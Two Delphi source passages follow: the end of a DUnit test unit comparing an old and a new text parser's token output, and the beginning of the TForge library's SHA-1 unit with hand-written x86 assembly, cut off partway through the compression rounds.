SetLength(l_NewParserTokens, Length(l_NewParserTokens) + 1); l_l3ParserTokens[0].Create('qwe', l3_ttSymbol); l_NewParserTokens[0].Create('qwe', l3_ttSymbol); SetLength(l_l3ParserTokens, Length(l_l3ParserTokens) + 1); SetLength(l_NewParserTokens, Length(l_NewParserTokens) + 1); l_l3ParserTokens[1].Create('asd', l3_ttSymbol); l_NewParserTokens[1].Create('asd', l3_ttSymbol); Check(IsArraysEqual(l_l3ParserTokens, l_NewParserTokens)); end; procedure TL3ParserVsTNewParser.CheckArraysIsNotEqual; var l_l3ParserTokens, l_NewParserTokens : TokenArray; begin SetLength(l_l3ParserTokens, Length(l_l3ParserTokens) + 1); SetLength(l_NewParserTokens, Length(l_NewParserTokens) + 1); l_l3ParserTokens[0].Create('qwe', l3_ttSymbol); l_NewParserTokens[0].Create('asd', l3_ttSymbol); SetLength(l_l3ParserTokens, Length(l_l3ParserTokens) + 1); SetLength(l_NewParserTokens, Length(l_NewParserTokens) + 1); l_l3ParserTokens[1].Create('qwe', l3_ttSymbol); l_NewParserTokens[1].Create('asd', l3_ttSymbol); Check(not IsArraysEqual(l_l3ParserTokens, l_NewParserTokens)); end; procedure TL3ParserVsTNewParser.CheckArraysLengthIsNotEqual; var l_l3ParserTokens, l_NewParserTokens : TokenArray; begin SetLength(l_l3ParserTokens, Length(l_l3ParserTokens) + 1); SetLength(l_NewParserTokens, Length(l_NewParserTokens) + 2); Check(not IsArraysEqual(l_l3ParserTokens, l_NewParserTokens)); end; procedure TL3ParserVsTNewParser.CheckArrayToString; var l_l3ParserTokens : TokenArray; l_ExpectedString : string; begin SetLength(l_l3ParserTokens, 2); l_l3ParserTokens[0].rToken := 'ABC'; l_l3ParserTokens[0].rTokenType := l3_ttSymbol; l_l3ParserTokens[1].rToken := 'CBA'; l_l3ParserTokens[1].rTokenType := l3_ttSymbol; l_ExpectedString := ' ABC - l3_ttSymbol | CBA - l3_ttSymbol |'; Check(ArrayToString(l_l3ParserTokens) = l_ExpectedString); end; procedure TL3ParserVsTNewParser.CheckL3Parser; var l_ExceptionFileName : string; l_SR: TSearchRec; l_Path : string; l_Log : TmsLog; procedure DoSome(aName: string); var l_l3Parser : Tl3CustomParser; l_NewParser : TNewParser; l_Filer : Tl3DosFiler; l_l3ParserTokens, l_NewParserTokens : TokenArray; l_i : integer; begin try l_Filer := Tl3DosFiler.Make(aName); l_l3Parser := Tl3CustomParser.Create; try if (l_l3Parser <> nil) then begin l_l3Parser.CheckFloat := false; l_l3Parser.CheckComment := false; l_l3Parser.CheckStringBracket := false; l_l3Parser.AddDigits2WordChars := true; l_l3Parser.WordChars := l_l3Parser.WordChars + cc_ANSIRussian + [':', '.', '-', '+', '=', '<', '>', '?', '!', '&', '|', '(', ')', '"', '@', '[', ']', ',', '/', '^', '№', '~', '$', '%', '*', '\', ';', '`'] + cc_Digits; l_l3Parser.CheckStringBracket := false; // - не смотрим на символ '<' в строковых константах l_l3Parser.SkipSoftEnter := true; // - плюём на #10 модели, которые не смогли победить l_l3Parser.SkipHardEnter := true; // - плюём на #13 модели, которые не смогли победить l_l3Parser.CheckKeyWords := false; // - ключевые слова будем обрабатывать сами end;//f_Parser <> nil l_Filer.Open; l_l3Parser.Filer := l_Filer; SetLength(l_l3ParserTokens, 1); l_i := 0; while not (l_l3Parser.TokenType = l3_ttEOF) do begin l_l3Parser.NextToken; l_l3ParserTokens[l_i].Create(l_l3Parser.TokenString, l_l3Parser.TokenType); if l_l3Parser.TokenType <> l3_ttEOF then SetLength(l_l3ParserTokens, Length(l_l3ParserTokens) + 1); Inc(l_i); end; finally FreeAndNil(l_Filer); FreeAndNil(l_l3Parser); end; l_NewParser := TNewParser.Create(aName); try SetLength(l_NewParserTokens, 1); l_i := 0; while not l_NewParser.EOF do begin l_NewParser.NextToken; l_NewParserTokens[l_i].Create(l_NewParser.TokenString, l_NewParser.TokenType); if l_NewParser.TokenType <> l3_ttEOF then SetLength(l_NewParserTokens, Length(l_NewParserTokens) + 1); Inc(l_i); end; finally FreeAndNil(l_NewParser); end; finally if not IsArraysEqual(l_l3ParserTokens, l_NewParserTokens) then begin Inc(f_NotEqualTestCount); l_Log.ToLog('----------------------------------------'); l_Log.ToLog(aName); l_Log.ToLog('----------------------------------------'); l_Log.ToLog('l_l3ParserTokens'); l_Log.ToLog(ArrayToString(l_l3ParserTokens)); l_Log.ToLog('l_NewParserTokens'); l_Log.ToLog(ArrayToString(l_NewParserTokens)); end; end; end; begin l_ExceptionFileName := ''; f_NotEqualTestCount := 0; f_ExceptionCount := 0; l_Path := '*.txt'; l_Log := TmsLog.Create('UnEqualTokens.log'); if FindFirst(l_Path, faAnyFile, l_SR) = 0 then begin repeat if (l_SR.Attr <> faDirectory) then begin try DoSome(l_SR.Name); except Inc(f_ExceptionCount); l_ExceptionFileName := l_ExceptionFileName + ' ' + l_SR.Name; end; end; until FindNext(l_SR) <> 0; FindClose(l_SR.FindHandle); end; l_Log.ToLog('NotEqualTestCount = ' + IntToStr(f_NotEqualTestCount)); l_Log.ToLog('ExceptionTests = ' + IntToStr(f_ExceptionCount)); l_Log.ToLog('ExceptionTests = ' + l_ExceptionFileName); FreeAndNil(l_Log); end; procedure TL3ParserVsTNewParser.CheckTokenEquals; var l_Token1, l_Token2 : TTokenRec; begin l_Token1 := TTokenRec.Create('qwe', l3_ttSymbol); l_Token2 := TTokenRec.Create('qwe', l3_ttSymbol); Check(l_Token1 = l_Token2); end; procedure TL3ParserVsTNewParser.CheckTokenNotEquals; var l_Token1, l_Token2 : TTokenRec; begin l_Token1 := TTokenRec.Create('qwe', l3_ttSymbol); l_Token2 := TTokenRec.Create('asd', l3_ttSymbol); Check(l_Token1 <> l_Token2); end; procedure TL3ParserVsTNewParser.CheckTokenRecToString; var l_TokenRec : TTokenRec; begin l_TokenRec := TTokenRec.Create('ABC', l3_ttSymbol); Check(l_TokenRec.ToString = 'ABC - l3_ttSymbol'); end; { TTokenRec } constructor TTokenRec.Create(const aToken: string; const aTokenType: Tl3TokenType); begin Self.rToken := aToken; Self.rTokenType := aTokenType; end; class operator TTokenRec.Equal(const Left, Right: TTokenRec): Boolean; begin Result := False; if (Left.rToken = Right.rToken) and (Left.rTokenType = Right.rTokenType) then Result := True; end; class operator TTokenRec.NotEqual(const Left, Right: TTokenRec): Boolean; begin Result := False; if (Left.rToken <> Right.rToken) or (Left.rTokenType <> Right.rTokenType) then Result := True; end; function TTokenRec.ToString: String; begin Result := rToken + ' - ' + GetEnumName(TypeInfo(Tl3TokenType), Ord(self.rTokenType)); end; initialization // Register any test cases with the test runner RegisterTest(TL3ParserVsTNewParser.Suite); end.
{ *********************************************************** } { * TForge Library * } { * Copyright (c) Sergey Kasandrov 1997, 2016 * } { *********************************************************** } unit tfSHA1; {$I TFL.inc} {$IFDEF TFL_CPUX86_WIN32} {$DEFINE CPUX86_WIN32} {$ENDIF} {$IFDEF TFL_CPUX64_WIN64} {$DEFINE CPUX64_WIN64} {$ENDIF} interface uses tfTypes; type PSHA1Alg = ^TSHA1Alg; TSHA1Alg = record private type TData = record Digest: TSHA1Digest; Block: array[0..63] of Byte; // 512-bit message block Count: UInt64; // number of bytes processed end; private FVTable: Pointer; FRefCount: Integer; FData: TData; procedure Compress; public class procedure Init(Inst: PSHA1Alg); {$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static; class procedure Update(Inst: PSHA1Alg; Data: PByte; DataSize: Cardinal); {$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static; class procedure Done(Inst: PSHA1Alg; PDigest: PSHA1Digest); {$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static; // class procedure Burn(Inst: PSHA1Alg); -- redirected to Init // {$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static; class function GetDigestSize(Inst: PSHA1Alg): Integer; {$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static; class function GetBlockSize(Inst: PSHA1Alg): Integer; {$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static; class function Duplicate(Inst: PSHA1Alg; var DupInst: PSHA1Alg): TF_RESULT; {$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static; end; function GetSHA1Algorithm(var Inst: PSHA1Alg): TF_RESULT; implementation uses tfRecords; const SHA1VTable: array[0..9] of Pointer = ( @TForgeInstance.QueryIntf, @TForgeInstance.Addref, @HashAlgRelease, @TSHA1Alg.Init, @TSHA1Alg.Update, @TSHA1Alg.Done, @TSHA1Alg.Init, @TSHA1Alg.GetDigestSize, @TSHA1Alg.GetBlockSize, @TSHA1Alg.Duplicate ); function GetSHA1Algorithm(var Inst: PSHA1Alg): TF_RESULT; var P: PSHA1Alg; begin try New(P); P^.FVTable:= @SHA1VTable; P^.FRefCount:= 1; TSHA1Alg.Init(P); if Inst <> nil then HashAlgRelease(Inst); Inst:= P; Result:= TF_S_OK; except Result:= TF_E_OUTOFMEMORY; end; end; { TSHA1Alg } function Swap32(Value: UInt32): UInt32; begin Result:= ((Value and $FF) shl 24) or ((Value and $FF00) shl 8) or ((Value and $FF0000) shr 8) or ((Value and $FF000000) shr 24); end; {$IFDEF CPUX86_WIN32} procedure TSHA1Alg.Compress; asm PUSH ESI PUSH EDI PUSH EBX PUSH EBP PUSH EAX // work register LEA EDI,[EAX].TSHA1Alg.FData.Block // W:= @FData.Block; MOV EAX,[EDI - 20] // A:= FData.Digest[0]; MOV EBX,[EDI - 16] // B:= FData.Digest[1]; MOV ECX,[EDI - 12] // C:= FData.Digest[2]; MOV EDX,[EDI - 8] // D:= FData.Digest[3]; MOV EBP,[EDI - 4] // E:= FData.Digest[4]; { 0} // W[0]:= Swap32(W[0]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[0]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI] BSWAP ESI MOV [EDI],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI { 1} // W[1]:= Swap32(W[1]); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[1]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 4] BSWAP ESI MOV [EDI + 4],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI { 2} // W[2]:= Swap32(W[2]); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[2]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 8] BSWAP ESI MOV [EDI + 8],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI { 3} // W[3]:= Swap32(W[3]); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[3]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 12] BSWAP ESI MOV [EDI + 12],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI { 4} // W[4]:= Swap32(W[4]); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[4]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 16] BSWAP ESI MOV [EDI + 16],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI { 5} // W[5]:= Swap32(W[5]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[5]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 20] BSWAP ESI MOV [EDI + 20],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI { 6} // W[6]:= Swap32(W[6]); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[6]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 24] BSWAP ESI MOV [EDI + 24],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI { 7} // W[7]:= Swap32(W[7]); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[7]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 28] BSWAP ESI MOV [EDI + 28],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI { 8} // W[8]:= Swap32(W[8]); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[8]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 32] BSWAP ESI MOV [EDI + 32],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI { 9} // W[9]:= Swap32(W[9]); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[9]); // C:= (C shl 30) or (C shr 2); { 9} MOV ESI,[EDI + 36] BSWAP ESI MOV [EDI + 36],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {10} // W[10]:= Swap32(W[10]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[10]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 40] BSWAP ESI MOV [EDI + 40],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {11} // W[11]:= Swap32(W[11]); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[11]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 44] BSWAP ESI MOV [EDI + 44],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {12} // W[12]:= Swap32(W[12]); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[12]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 48] BSWAP ESI MOV [EDI + 48],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {13} // W[13]:= Swap32(W[13]); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[13]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 52] BSWAP ESI MOV [EDI + 52],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {14} // W[14]:= Swap32(W[14]); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[14]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 56] BSWAP ESI MOV [EDI + 56],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {15} // W[15]:= Swap32(W[15]); // Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[15]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 60] BSWAP ESI MOV [EDI + 60],ESI ADD EBP,ESI MOV ESI,ECX XOR ESI,EDX AND ESI,EBX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $5A827999] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {16} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[0]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 52] XOR ESI,[EDI + 32] XOR ESI,[EDI + 8] XOR ESI,[EDI] ROL ESI,1 MOV [EDI],ESI ADD EDX,ESI MOV ESI,EBX XOR ESI,ECX AND ESI,EAX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $5A827999] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {17} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[1]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 56] XOR ESI,[EDI + 36] XOR ESI,[EDI + 12] XOR ESI,[EDI + 4] ROL ESI,1 MOV [EDI + 4],ESI ADD ECX,ESI MOV ESI,EAX XOR ESI,EBX AND ESI,EBP XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $5A827999] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {18} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[2]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 60] XOR ESI,[EDI + 40] XOR ESI,[EDI + 16] XOR ESI,[EDI + 8] ROL ESI,1 MOV [EDI + 8],ESI ADD EBX,ESI MOV ESI,EBP XOR ESI,EAX AND ESI,EDX XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $5A827999] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {19} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[3]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI] XOR ESI,[EDI + 44] XOR ESI,[EDI + 20] XOR ESI,[EDI + 12] ROL ESI,1 MOV [EDI + 12],ESI ADD EAX,ESI MOV ESI,EDX XOR ESI,EBP AND ESI,ECX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $5A827999] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {20} // Tmp:= W[1] xor W[12] xor W[6] xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[4]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 4] XOR ESI,[EDI + 48] XOR ESI,[EDI + 24] XOR ESI,[EDI + 16] ROL ESI,1 MOV [EDI + 16],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {21} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[5]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 8] XOR ESI,[EDI + 52] XOR ESI,[EDI + 28] XOR ESI,[EDI + 20] ROL ESI,1 MOV [EDI + 20],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {22} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[6]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 12] XOR ESI,[EDI + 56] XOR ESI,[EDI + 32] XOR ESI,[EDI + 24] ROL ESI,1 MOV [EDI + 24],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {23} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[7]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 16] XOR ESI,[EDI + 60] XOR ESI,[EDI + 36] XOR ESI,[EDI + 28] ROL ESI,1 MOV [EDI + 28],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {24} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[8]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 20] XOR ESI,[EDI] XOR ESI,[EDI + 40] XOR ESI,[EDI + 32] ROL ESI,1 MOV [EDI + 32],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {25} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[9]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 24] XOR ESI,[EDI + 4] XOR ESI,[EDI + 44] XOR ESI,[EDI + 36] ROL ESI,1 MOV [EDI + 36],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {26} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[10]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 28] XOR ESI,[EDI + 8] XOR ESI,[EDI + 48] XOR ESI,[EDI + 40] ROL ESI,1 MOV [EDI + 40],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {27} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[11]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 32] XOR ESI,[EDI + 12] XOR ESI,[EDI + 52] XOR ESI,[EDI + 44] ROL ESI,1 MOV [EDI + 44],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {28} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[12]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 36] XOR ESI,[EDI + 16] XOR ESI,[EDI + 56] XOR ESI,[EDI + 48] ROL ESI,1 MOV [EDI + 48],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {29} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[13]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 40] XOR ESI,[EDI + 20] XOR ESI,[EDI + 60] XOR ESI,[EDI + 52] ROL ESI,1 MOV [EDI + 52],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {30} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[14]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI + 44] XOR ESI,[EDI + 24] XOR ESI,[EDI] XOR ESI,[EDI + 56] ROL ESI,1 MOV [EDI + 56],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {31} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[15]); // A:= (A shl 30) or (A shr 2); MOV ESI,[EDI + 48] XOR ESI,[EDI + 28] XOR ESI,[EDI + 4] XOR ESI,[EDI + 60] ROL ESI,1 MOV [EDI + 60],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[EDX + ESI + $6ED9EBA1] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {32} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[0]); // E:= (E shl 30) or (E shr 2); MOV ESI,[EDI + 52] XOR ESI,[EDI + 32] XOR ESI,[EDI + 8] XOR ESI,[EDI] ROL ESI,1 MOV [EDI],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[ECX + ESI + $6ED9EBA1] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {33} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[1]); // D:= (D shl 30) or (D shr 2); MOV ESI,[EDI + 56] XOR ESI,[EDI + 36] XOR ESI,[EDI + 12] XOR ESI,[EDI + 4] ROL ESI,1 MOV [EDI + 4],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[EBX + ESI + $6ED9EBA1] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {34} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[2]); // C:= (C shl 30) or (C shr 2); MOV ESI,[EDI + 60] XOR ESI,[EDI + 40] XOR ESI,[EDI + 16] XOR ESI,[EDI + 8] ROL ESI,1 MOV [EDI + 8],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[EAX + ESI + $6ED9EBA1] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {35} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[3]); // B:= (B shl 30) or (B shr 2); MOV ESI,[EDI] XOR ESI,[EDI + 44] XOR ESI,[EDI + 20] XOR ESI,[EDI + 12] ROL ESI,1 MOV [EDI + 12],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[EBP + ESI + $6ED9EBA1] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {36} // Tmp:= W[1] xor W[12] xor W[6] 